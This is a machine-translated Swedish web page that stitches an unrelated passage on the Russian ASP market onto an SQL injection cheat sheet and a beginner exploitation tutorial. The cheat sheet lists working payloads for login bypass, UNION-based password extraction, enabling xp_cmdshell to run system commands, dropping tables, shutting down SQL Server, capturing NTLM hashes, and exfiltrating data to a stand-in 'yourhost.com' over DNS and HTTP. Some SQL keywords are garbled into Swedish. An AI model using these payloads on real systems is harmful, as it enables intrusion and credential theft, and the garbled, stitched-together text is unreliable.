Programmera inloggningskontrollen. Hur kan du köra kommandon på distans med hjälp av SQL-injektion

För närvarande kan det inte sägas att en fullfjädrad ASP-marknad har bildats i Ryssland. Ryska användare, för det mesta, uppfattar fortfarande inte ASP-konceptet som användbart för sin verksamhet. För närvarande (när den här artikeln skrivs) ryska marknaden Det finns inte ett enda framgångsrikt exempel på fullskalig implementering av ASP-modellen i ett stort företag. I själva verket finns det bara värd, individuella implementerade delar av ASP-modellen, företag som vill engagera sig i ASP-verksamhet, etc. Det vill säga att det inte finns någon implementering av den klassiska ASP-modellen i Ryssland ännu.

Nu på den ryska marknaden är ASP-modellen endast tillämplig på personliga e-posttjänster (Mail.ru, Beep.ru, Freemail.ru, etc.) och specialiserade högteknologiska tjänster (till exempel banner- och sökmotorer, internetstatistiksystem , etc.) . Samtidigt innebär att hyra posttjänster inte bara att tillhandahålla en personlig brevlåda till varje enskild användare. Gratis e-postservrar används i stor utsträckning inom företagssektorn av småföretag och privata entreprenörer. Huvudkunderna för sådana tjänster är företag som vill organisera en företags e-posttjänst (eller automatisera företagsdokumentflöde) eller internetleverantörer (till exempel portaler Rambler.ru, Yandex.ru, etc.) som vill organisera en gratis webbposttjänst för sin publik.

Det finns ett visst intresse bland ryska användare för att hyra elektroniska butiker (showcases på en elektronisk handelsplattform). Och detta är ganska förståeligt. Eftersom det fortfarande finns väldigt, väldigt få framgångsrika exempel på onlinehandel i Ryssland (trots ett antal företags högljudda uttalanden om deras imponerande prestationer), verkar det mest rimligt att spendera en storleksordning mindre pengar på att hyra en elektronisk butik (än köpa och underhålla det). Om projektet misslyckas kan det stängas ganska snabbt och utan betydande förluster. Uthyrning av ERP-applikationer, som är utbredd i västvärlden, är nu i Ryssland endast på stadium av pilotprojekt.

Till de applikationer som erbjuds för uthyrning finns både relativt enkla kontorssviter (som MS Office) och mer komplexa applikationer (som Lotus Smart Suite), samt affärssystem (som Navision Axapta).

Huvudproblem och funktioner på den ryska ASP-marknaden.

10.2 Problem på den ryska marknaden.

För närvarande ligger den ryska ASP-marknaden efter den globala ASP-marknaden med åtminstone flera år. Det embryonala tillståndet på den ryska ASP-marknaden orsakas av ett antal problem som finns på den. De viktigaste av dessa problem är:

1. Den ryska ekonomins allmänna eftersläpning från den västra och underutvecklingen av företagens tekniska infrastruktur. Fram till nu har de flesta ryska företag arbetat med teknisk infrastruktur som skapades för decennier sedan. För närvarande är företagens investeringar i moderniseringen fortfarande otillräckliga. Och här är problemet snarare företagens ekonomiska prioriteringar, eftersom inte alla kan investera de nödvändiga medlen i att modernisera den tekniska infrastrukturen. Därför måste de lösa sina nuvarande problem med hjälp av den befintliga infrastrukturen.

2.Låg efterfrågan på ASP-tjänster. Befolkningen och företagskunder är inte redo (för det mesta) att betala för ASP-tjänster. Medan den genomsnittliga ryska konsumenten nu helt enkelt har mer pressande och viktiga utgiftsprioriteringar, tar företagsanvändare ännu inte ASP-tjänster på allvar.

3.Svaghet i den rättsliga ramen för den elektroniska marknaden. Innan ett fullständigt paket med lagar har antagits behöver man inte prata om utvecklingen av den elektroniska marknaden (inklusive ASP).

4. Stängd finansiell rapportering för företagskunder (särskilt de mest solventa företagen).

5. Motstånd från IT-avdelningar (både explicit och implicit) hos stora företag, som måste fokusera på andra uppgifter, minska anställda och IT-budgetar osv.

6. Ett litet antal applikationer som kan användas i ASP-modellen för ryska företag.

7. Närvaron på den ryska arbetsmarknaden av ett ganska stort antal IT-specialister på ingångsnivå och mellannivå med relativt låga löner. Efter krisen 1998 låg den stora majoriteten av lönerna för IT-specialister kvar på samma nivå efter krisen. Det är ibland billigare för små och medelstora företag att upprätthålla sina egna IT-tjänster än att betala för ASP-tjänster (till skillnad från västerländska företag, där situationen är precis den motsatta).

SQL-injektionsfuskark skapat för sammanfattande beskrivning tekniska funktioner olika typer SQL-injektionssårbarheter. Artikeln presenterar funktionerna i SQL-injektioner i MySQL, Microsoft SQL Server, ORAKEL Och PostgreSQL.

0. Inledning
I den här artikeln kan du hitta detaljerad information teknisk information om olika typer av SQL-injektioner. Det kan vara användbart för både erfarna specialister och nykomlingar inom området informationssäkerhet.

För tillfället innehåller memo endast information för MySQL, Microsoft SQL Server och lite data för ORACLE och PostgreSQL. Avsnitten innehåller injektionssyntax, förklaringar och exempel.

Använda symboler:
M (MySQL);
S (SQL-server);
O (Oracle);
P (PostgreSQL);
+ (möjligen på andra databaser);
* (särskilda villkor krävs).

1. Linjekommentarer
Kommentarer är vanligtvis användbara för att ignorera en del av en fråga.
Syntax:
-- (SM): DROP provtagningsbar;--
# (M): DROP sampletable;#
Exempel:
Användarnamn: admin" --
Genererad fråga: VÄLJ * FRÅN medlemmar WHERE användarnamn = "admin"--" OCH lösenord = "lösenord"
Detta gör att du kan logga in som administratörsanvändare och kringgå lösenordskontrollen.

2. Blockera kommentarer
Med deras hjälp kan du ignorera en del av begäran, ersätta mellanslag, kringgå svarta listor och bestämma databasversionen.
Syntax:
/*Kommentar*/ (SM):
DROP/*kommentar*/samplbar
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*replace_space*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tabellnamn
Detta är en speciell kommentarsyntax för MySQL. Det låter dig upptäcka MySQL-versionen. Den här kommentaren fungerar bara i MySQL
Exempel:
ID: 10; DROP TABLE medlemmar /*
Vi ignorerar resten av begäran, precis som en radkommentar.

ID: /*!32302 10*/
du får samma svar som med ID=10 om MySQL-versionen är högre än 3.23.02

ID: /*!32302 1/0, */
Genererad fråga: SELECT /*!32302 1/0, */ 1 FROM tabellnamn
Ett division med 0-fel kommer att uppstå om servern har en MySQL-version högre än 3.23.02

3. Sekvens av förfrågningar
Låter dig köra mer än en begäran åt gången. Detta är användbart vid vilken injektionspunkt som helst.


Grön - stöds; svart - stöds inte; grå - okänd.
Syntax:
; (S): VÄLJ * FRÅN medlemmar; DROP medlemmar--
En förfrågan slutade, nästa började.
Exempel:
ID: 10;DROP-medlemmar --
Genererad fråga: SELECT * FROM products WHERE id = 10; DROP medlemmar--
Denna fråga kommer att ta bort medlemstabellen efter en normal fråga.

4. Villkorliga uttalanden
Vi kommer att få svar på begäran om villkoret är uppfyllt. Detta är en av nyckelpunkterna för blind injektion. Det hjälper också att kontrollera enkla saker korrekt.
Syntax:
IF(villkor, sann-del, falsk-del) (M): VÄLJ OM(1=1,"sant","falsk")
IF-villkor true-part ELSE false-part (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF condition THEN true-part; ANNAT falsk-del; ENDIF; SLUTET; (O): OM (1=1) DÅ dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); ENDIF; SLUTET;
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): VÄLJ FALL NÄR (1=1) DÅ SLUTAR "A" ANNARS "B";
exempel:
om ((välj användare) = "sa" ELLER (välj användare) = "dbo") välj 1 annars välj 1/0 (S)
kommer att kasta en division med noll fel om nuvarande användaren inte "sa" eller "dbo".

5. Använda siffror
Används för att kringgå magic_quotes() och liknande filter, inklusive WAF.
Syntax:
0xHEX_NUMBER (SM):
VÄLJ CHAR(0x66) (S)
SELECT 0x5045 (detta är inte ett nummer, utan en sträng) (M)
VÄLJ 0x50 + 0x45 (nu är detta ett nummer) (M)
Exempel:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Visar innehållet i filen c:\boot.ini

6. Strängsammansättning
Strängoperationer kan hjälpa till att kringgå filter eller identifiera databasen.
Syntax:
+ (S): VÄLJ inloggning + "-" + lösenord FRÅN medlemmar
|| (*MO): VÄLJ inloggning || "-" || lösenord FRÅN medlemmar
Fungerar om MySQL körs i ANSI-läge. Annars kommer MySQL inte att acceptera det som logisk operator och kommer att returnera 0. Det är bättre att använda CONCAT()-funktionen i MySQL.

CONCAT(str1, str2, str3, …) (M): VÄLJ KONCAT(inloggning, lösenord) FROM medlemmar

7. Strängar utan citattecken
Det finns flera sätt att undvika att använda citattecken i en fråga, som att använda CHAR() (MS) och CONCAT() (M).
Syntax:
SELECT 0x457578 (M)

MySQL har ett enkelt sätt att representera en sträng som en hex-kod:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Returnerar strängen "KLM":
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
VÄLJ CHAR(75)+CHAR(76)+CHAR(77) (S)
VÄLJ CHR(75)||CHR(76)||CHR(77) (O)
VÄLJ (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Konvertera strängar och tal.
Syntax:
ASCII() (SMP): VÄLJ ASCII("a")
Returnerar ASCII-koden för tecknet längst till vänster. Funktionen används för blinda injektioner.

CHAR() (SM): VÄLJ CHAR(64)
Översätter en ASCII-kod till motsvarande tecken.

9. UNION-operatör
Med UNION-operatorn kan du fråga i skärningspunkten mellan tabeller. I grund och botten kan du skicka en fråga som returnerar ett värde från en annan tabell.
Exempel:
SELECT header, txt FROM news UNION ALL SELECT namn, pass FROM medlemmar
Detta kommer att slå samman resultaten från nyhets- och medlemstabellerna

10. Authentication Bypass (SMO+)
Exempel:
admin" --
admin" #
administration"/*
"eller 1=1--
" eller 1=1#
" eller 1=1/*
") eller "1"="1--
") eller ("1"="1--

11. Förbigå MD5-autentisering
Om applikationen först jämför användarnamnet och sedan jämför md5-hash för lösenordet, kommer du att behöva ytterligare knep för att kringgå autentiseringen. Du kan kombinera resultaten med ett känt lösenord och dess hash.
Exempel (MSP):
Användarnamn: admin
Lösenord: 1234 " OCH 1=0 UNION ALLA VÄLJ "admin", "
= MD5(1234)

12. Felbaserat
12.1 Definiera kolumner med HAVING BY(S)
Exempel:
I samma ordning
"HA 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfrommerror2 HAVING 1=1 --
" GROUP BY table.columnfrommerror1, columnfrommerror2, columnfrommerror3 HAVING 1=1 –
…………….
Fortsätt tills du slutar få fel.

12.2 Bestämma antalet kolumner med ORDER BY (MSO+)
Att hitta antalet kolumner med ORDER BY kan påskyndas med UNION-injektion.
BESTÄLL MED 1--
BESTÄLL MED 2--
BESTÄLL MED 3-
………………..
Fortsätt tills du får ett felmeddelande. Detta kommer att indikera antalet kolumner.

13. Datatypsdefinition
Använd alltid UNION med ALL.
För att bli av med en onödig tabellpost, använd -1 på alla icke-existerande värden i början av frågan (om injektionen är i parametern WHERE). Detta är viktigt om du bara kan hämta ett värde åt gången.
Använd NULL i UNION-injektioner istället för att försöka gissa en sträng, datum, nummer, etc. Men var försiktig när du injicerar blindt, för... du kan blanda ihop databasfelet med själva programmet. Vissa språk, som ASP.NET, ger ett fel när ett NULL-värde används (eftersom utvecklarna inte förväntade sig att se ett null-värde i användarnamnsfältet)
Exempel:
" union välj summa(kolumntofinn) från användare-- (S):
Om du inte får något felmeddelande är kolumnen numerisk.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL --
Du kan använda CAST() eller CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
Om det inte finns något fel så är syntaxen korrekt, d.v.s. MS SQL Server används.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
Om det inte finns något fel är den första kolumnen ett nummer.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Om ett fel visas är den andra kolumnen inte en siffra.

11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
Om det inte finns något fel är den andra kolumnen en sträng.
……………..

14. Enkel insats (MSO+)
Exempel:
"; infoga i användarvärden(1, "hax0r", "coolpass", 9)/*

15. Insamling av information
Syntax:
@@version (MS)
Du kan ta reda på databasversionen och mer detaljerad information.
Exempel:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Komplex insats (S)
Låter dig infoga innehållet i en fil i en tabell. Om du inte känner till webbapplikationens interna sökväg kan du läsa IIS-metabasen (endast IIS 6).
Syntax:
fil(%systemrot%\system32\inetsrv\MetaBase.xml)
Då kan du hitta ansökningsvägarna i den.
Exempel:
1. Skapa table foo (strängtyp varchar(8000))
2. Infoga innehållet i filen 'c:\inetpub\wwwroot\login.asp' i tabell foo
3. Släpp den tillfälliga tabellen och upprepa för en annan fil.

17. BCP (S)
Skriver ner textfil. Detta kräver legitimation.
Exempel:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH i SQL Server (S)
Du kan använda VBS, WSH-skript i SQL Server.
Exempel:
Användarnamn:"; deklarera @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Utför systemkommandon (S)
Ett välkänt knep, funktionen är inaktiverad som standard i SQL Server 2005. Du behöver administratörsrättigheter.
Exempel:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Specialtabeller i SQL Server (S)
Exempel:
Felmeddelanden: master..sysmessages
Länkade servrar: master..sysservers
Lösenord SQL Server 2000: masters..sysxlogins
Lösenord SQL Server 2005: sys.sql_logins

21. Flera lagrade procedurer för SQL Server (S)
Syntax:
Cmd Execute (xp_cmdshell)
Registergrejer (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
Hantera tjänster (xp_servicecontrol)
Media (xp_availablemedia)
ODBC-resurser (xp_enumdsn)
Inloggningsläge (xp_loginconfig)
Skapa Cab-filer (xp_makecab)
Domänuppräkning (xp_ntsec_enumdomains)
Process Killing (PID krävs) (xp_terminate_process)
Lägg till ny procedur (sp_addextendedproc)
Skriv textfil till en UNC eller en intern sökväg (sp_makewebtask)
Exempel:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. MSSQL Bulk Notes
Exempel:
VÄLJ * FRÅN master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL-injektion i LIMIT (M) frågor
Exempel:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
För att kringgå LIMIT-operatören kan du använda UNION eller en kommentar.

24. Stäng av SQL Server (S)
Exempel:
";stänga av -

25. Aktivera xp_cmdshell i SQL Server 2005
Syntax:
Som standard är xp_cmdshell och ett par andra potentiellt farliga funktioner inaktiverade i SQL Server 2005. Om du har administrativa rättigheter kan du aktivera dem.
EXEC sp_configure "visa avancerade alternativ",1
KONFIGURERA OM
EXEC sp_configure "xp_cmdshell",1
KONFIGURERA OM

26. Söka efter databasstruktur i SQL Server (S)
Exempel:
VÄLJ namn FRÅN sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tabellnamnförkolumnnamn")
Få kolumnnamn

27. Flytta poster (S)
Exempel:
... WHERE users NOT IN ("Första användare", "Andra användare")
Använd WHERE med NOT IN eller NOT EXIST

VÄLJ TOP 1 namn FRÅN medlemmar DÄR INTE FINNS (VÄLJ TOP 0 namn FRÅN medlemmar)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Välj p.namn från (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, namn från sysobjects o) som p där p.x=3) som int

Välj p.name från (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" och i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Snabbt sätt att extrahera data från felbaserad SQL-injektion i SQL Server (S)
";BÖRJ DEKLARERA @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+namn FRÅN syskolumner WHERE id =(VÄLJ id FRÅN sysobjects WHERE namn = "MEMBERS") OCH namn>@rd SELECT @rd AS rd in i TMP_SYS_TMP slutet;--

29. Söka efter databasstruktur i MySQL (M)
Exempel:
VÄLJ tabellnamn FRÅN informationsschema.tabeller WHERE tabellschema = "tabellnamn"
Skaffa anpassade tabeller

VÄLJ tabellnamn, kolumnnamn FRÅN informationsschema.kolumner WHERE tabellschema = "tabellnamn"
Få kolumnnamn

30. Söka efter databasstruktur i Oracle (O)
Exempel:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Skaffa anpassade tabeller

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABELL"
Få kolumnnamn

31. Blinda injektioner
I en kvalitetsapplikation kommer du inte att kunna se felmeddelanden. Du kommer inte att kunna använda UNION-operatören och felbaserade attacker. Du måste använda blind SQL-injektion för att extrahera data. Det finns två typer av blinda injektioner.
Vanlig blindinjektion: du kan inte se resultatet av förfrågningar på sidan, men du kan bestämma resultatet från svaret eller HTTP-status.
Helt blind injektion: Du kommer inte att se någon skillnad i uteffekt.
Vid normala blinda injektioner kan du använda IF- och WHERE-satser, vid helt blinda injektioner behöver du använda några väntefunktioner och jämföra svarstid. För att göra detta kan du använda WAIT FOR DELAY '0:0:10' i SQL Server, BENCHMARK() och sleep(10) i MySQL, pg_sleep(10) i PostgreSQL.
Exempel:
Det här exemplet är baserat på en verklig operation av blindinjektion på SQL Server.

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>78--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>103--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>89--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>83--

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>79--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>80--

Baserat på de två sista frågorna vet vi exakt värdet på det första tecknet i ascii - det är 80. Det betyder att det första tecknet är "P". På så sätt kan vi ta reda på namnen på tabellerna och deras innehåll. Ett annat sätt är att läsa data bit för bit.

32. Helt blind injektion
Använd denna metod endast vid en verkligt blind injektion. Var försiktig med väntetider.
Syntax:
VÄNTA PÅ FÖRDRÖJNING "tid" (S)
Funktionen väntar helt enkelt på den angivna tiden utan att ladda processorn.
Exempel:
if (välj användare) = "sa" vänta på fördröjning "0:0:10"
ProductID =1;väntefördröjning "0:0:10"--
ProductID =1);waitfor delay "0:0:10"--
ProductID =1";vänta fördröjning "0:0:10"--
ProductID =1");waitfor delay "0:0:10"--
ProductID =1));waitfor delay "0:0:10"--
ProductID =1"));waitfor delay "0:0:10"--
Syntax:
BENCHMARK(hur många gånger, gör detta) (M)
Exempel:
OM FINNS (SELECT * FROM users WHERE username = "root") BENCHMARK(1000000000,MD5(1))
Vi kontrollerar närvaron av root-användaren.

IF (VÄLJ * FRÅN inloggning) BENCHMARK(1000000,MD5(1))
Kontrollera att det finns en tabell i MySQL
Syntax:
pg_sleep(sekunder) (P)
Sov i angivna sekunder.

sömn (sekunder) (M)
sova i tillgivna sekunder.

bms_pipe.receive_message (O)
sova i tillgivna sekunder.
Exempel:
(VÄLJ CASE NÄR (NVL(ASCII(SUBSTR((((INJECTION))),1,1)),0) = 100) DÅ dbms_pipe.receive_message(("xyz"),10) ANNAT dbms_pipe.receive_message(("xyz" ),1) SLUT FRÅN dubbel)
(INJEKTION) – din begäran.
Om villkoret är sant kommer svaret att vara 10 sekunder. Annars blir svaret 1 sekund.

33. Användbara MySQL-funktioner
Syntax:
MD5()
SHA1()
LÖSENORD()
KODA()
KOMPRIMERA()
ROW_COUNT()
SCHEMA()
VERSION()

34. Andra ordningens SQL-injektioner
Vanligtvis skulle du infoga en SQL-injektionsfråga i ett fält och förvänta dig att den inte filtreras bort.
Exempel:
Namn: " + (VÄLJ TOP 1 lösenord FRÅN användare) + "
E-post: [e-postskyddad]
Om applikationen använder fältnamnet för en lagrad procedur eller funktion, kan du använda detta för injektion.

35. Använda SQL Server för att extrahera NTLM-hashar
Denna attack hjälper dig att få Windows-användarlösenordet för målservern via SQL Server om det inte finns någon åtkomst utifrån. Vi kan tvinga SQL Server att ansluta till Windows via en UNC-sökväg och extrahera NTLM-sessionen med hjälp av specialverktyg som Cain & Abel.

Syntax:
UNC-sökväg: "\\DIN IPADRESS\C$\x.txt"
36. Andra exempel på injektioner
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = "\\"+((INJEKTION))+".dinvärd.com\\test.txt"; EXEC master..xp_dirtree @q
skapar en DNS-fråga till (INJECTION).yourhost.com

(INJEKTION) - din begäran.
MySQL:
?vulnerableParam=-99 ELLER (SELECT LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\")))
Skapar en NBNS/DNS-förfrågan till yourhost.com
?vulnerableParam=-99 ELLER (VÄLJ ((INJEKTION)) I UTFIL "\\\\dinvärd.com\\share\\output.txt")
Skriver data till din fil
(INJEKTION) - din begäran.
Orakel:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") FRÅN DUAL)
Sniffaren sparar resultaten
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") FRÅN DUAL)
Resultaten kommer att sparas i HTTP-loggar
?vulnerableParam=(VÄLJ UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") FRÅN DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) FRÅN DUAL)
Du måste analysera DNS-begäran trafik till yourhost.com
(INJEKTION) - din begäran.

Detta material är en adaptiv översättning av artikeln SQL Injection Cheat Sheet.

Hälsningar, läsare. På senare tid har jag varit intresserad av webbsäkerhet, och i viss mån är mitt arbete relaterat till detta. Därför att Allt oftare började jag lägga märke till ämnen på olika forum som bad dem att visa hur allt fungerar, så jag bestämde mig för att skriva en artikel. Artikeln kommer att rikta sig till de som inte har stött på detta, men som gärna vill lära sig. Det finns relativt många artiklar om detta ämne på Internet, men för nybörjare är de lite komplicerade. Jag ska försöka beskriva allt i ett tydligt språk och utförliga exempel.

Förord

För att förstå den här artikeln behöver du inte riktigt kunskap om SQL-språket, men åtminstone ett gott tålamod och en liten hjärna för att memorera.

Jag tror att det inte räcker att bara läsa artikeln, för... vi behöver levande exempel - som ni vet är övning i memoreringsprocessen aldrig överflödig. Därför kommer vi att skriva sårbara manus och träna på dem.

Vad är SQL-injektion?
Enkelt uttryckt är detta en attack på databasen, vilket gör att du kan utföra en åtgärd som inte var planerad av skaparen av skriptet. Exempel från livet:

Far skrev i en lapp till sin mamma att ge Vasya 100 rubel och lägga den på bordet. När vi omarbetar detta till ett komiskt SQL-språk får vi:
TA 100 RUBEL UR DIN Plånbok OCH GE DEM TILL Vasya

Eftersom pappan skrev lappen dåligt (klumpig handstil) och lämnade den på bordet, såg Vasyas bror Petya den. Petya, som är en hackare, lade till "OR Pete" där och resultatet blev följande begäran:
TA 100 RUBEL UR DIN Plånbok OCH GE DEM TILL Vasya ELLER Petya

Mamma, efter att ha läst lappen, bestämde sig för att hon gav pengar till Vasya i går och gav 100 rubel till Petya. Här är ett enkelt exempel på SQL-injektion från livet:) Utan att filtrera data (mamma kunde knappt förstå handstilen) gjorde Petya en vinst.

Förberedelse
För övning behöver du ett arkiv med källskripten för den här artikeln. Ladda ner den och packa upp den på servern. Importera även databasen och ställ in data i filen cfg.php

Sök SQL-injektion

Som du redan förstått kommer injektionen från inkommande data som inte är filtrerade. Det vanligaste misstaget är att inte filtrera det överförda ID:t. Nåväl, grovt sett, sätt citattecken i alla fält. Vare sig det är en GET/POST-förfrågan eller till och med en kaka!

Numerisk ingångsparameter
För övning behöver vi ett manus index1.php. Som jag sa ovan lägger vi in ​​citat i nyhets-ID:t.

Därför att Vår begäran har ingen filtrering:

$id = $_GET["id"]; $query = "VÄLJ * FRÅN nyheter WHERE id=$id";

Manuset kommer att förstå detta som

VÄLJ * FRÅN nyheter WHERE id=1"

Och det kommer att ge oss ett fel:
Varning: mysql_fetch_array() förväntar sig att parameter 1 är resurs, boolean ges i C:\WebServ\domains\sqlinj\index1.php på rad 16

Om felet inte visas kan det finnas följande orsaker:

1.SQL-injektion är inte här - citat filtreras, eller så är det bara värt att konvertera till (int)
2. Felutgången är inaktiverad.

Om du fortfarande får ett fel - hurra! Vi hittade den första typen av SQL-injektion - Numerisk indataparameter.

Strängingångsparameter

Vi skickar förfrågningar till index2.php. I den här filen ser begäran ut så här:
$användare = $_GET["användare"]; $query = "VÄLJ * FRÅN nyheter WHERE user="$user"";

Här väljer vi nyheter efter användarnamn, och återigen filtrerar vi inte.
Återigen skickar vi en förfrågan med en offert:

Det gav ett fel. ok! Det betyder att det finns en sårbarhet. Till att börja med räcker det för oss – låt oss börja träna.

Låt oss vidta åtgärder

Lite teori

Du kan förmodligen inte vänta med att få ut något annat än misstag. Först förstå att tecknet " -- " anses vara en kommentar i SQL.

UPPMÄRKSAMHET! Det måste finnas mellanrum före och efter det. I URL:en sänds de som %20

Allt som kommer efter kommentaren kommer att kasseras. Det vill säga begäran:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Det kommer att lyckas. Du kan prova detta på index2.php-skriptet genom att skicka en begäran så här:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Lär dig parametern UNION. I SQL-språk nyckelordet UNION används för att kombinera resultaten av två SQL-frågor till en enda tabell. Det vill säga för att kunna dra ut något vi behöver från ett annat bord.

Låt oss dra nytta av det

Om parametern är "Numerisk", behöver vi inte skicka en offert i förfrågan och naturligtvis lägga en kommentar i slutet. Låt oss gå tillbaka till manuset index1.php.

Låt oss gå till skriptet sqlinj/index1.php?id=1 UNION SELECT 1 . Vår databasfråga ser ut så här:
VÄLJ * FRÅN nyheter WHERE id=1 UNION SELECT 1
Och han gav oss ett fel, eftersom... för att arbeta med sammanslagningsfrågor behöver vi samma antal fält.

Därför att Vi kan inte påverka deras nummer i den första begäran, då måste vi välja deras nummer i den andra så att det är lika med den första.

Välja antal fält

Valet av fält är mycket enkelt, skicka bara följande förfrågningar:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Fel…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Fel igen!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Inget fel! Det betyder att antalet kolumner är 5.

GRUPP AV
Det händer ofta att det kan vara 20 eller 40 eller till och med 60 fält. För att vi inte ska behöva sortera igenom dem varje gång använder vi GRUPP AV

Om begäran
sqlinj/index1.php?id=1 GRUPPERA EFTER 2
visade inga fel, vilket betyder att antalet fält är fler än 2. Låt oss försöka:

Sqlinj/index1.php?id=1 GRUPPERA EFTER 8
Op, vi ser ett fel, det betyder att antalet fält är mindre än 8.

Om det inte finns något fel med GROUP BY 4, och med GROUP BY 6 det finns ett fel, är antalet fält 5

Definiera utdatakolumner
För att säkerställa att ingenting visas för oss från den första förfrågan räcker det att ersätta ett icke-existerande ID, till exempel:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Med den här åtgärden bestämde vi vilka kolumner som visas på sidan. Nu, för att ersätta dessa nummer med nödvändig information, måste du fortsätta begäran.

Datautgång

Låt oss säga att vi vet att tabellen fortfarande finns användare där fälten finns id, namn Och passera.
Vi behöver få information om användaren med ID=1

Låt oss därför skapa följande fråga:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FRÅN användare WHERE id=1
Skriptet fortsätter också att matas ut

För att göra detta kommer vi att ersätta namnen på fälten i stället för siffrorna 1 och 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Vi fick det vi behövde!

För "string input parameter" som i script index2.php du måste lägga till ett citattecken i början och ett kommentarstecken i slutet. Exempel:
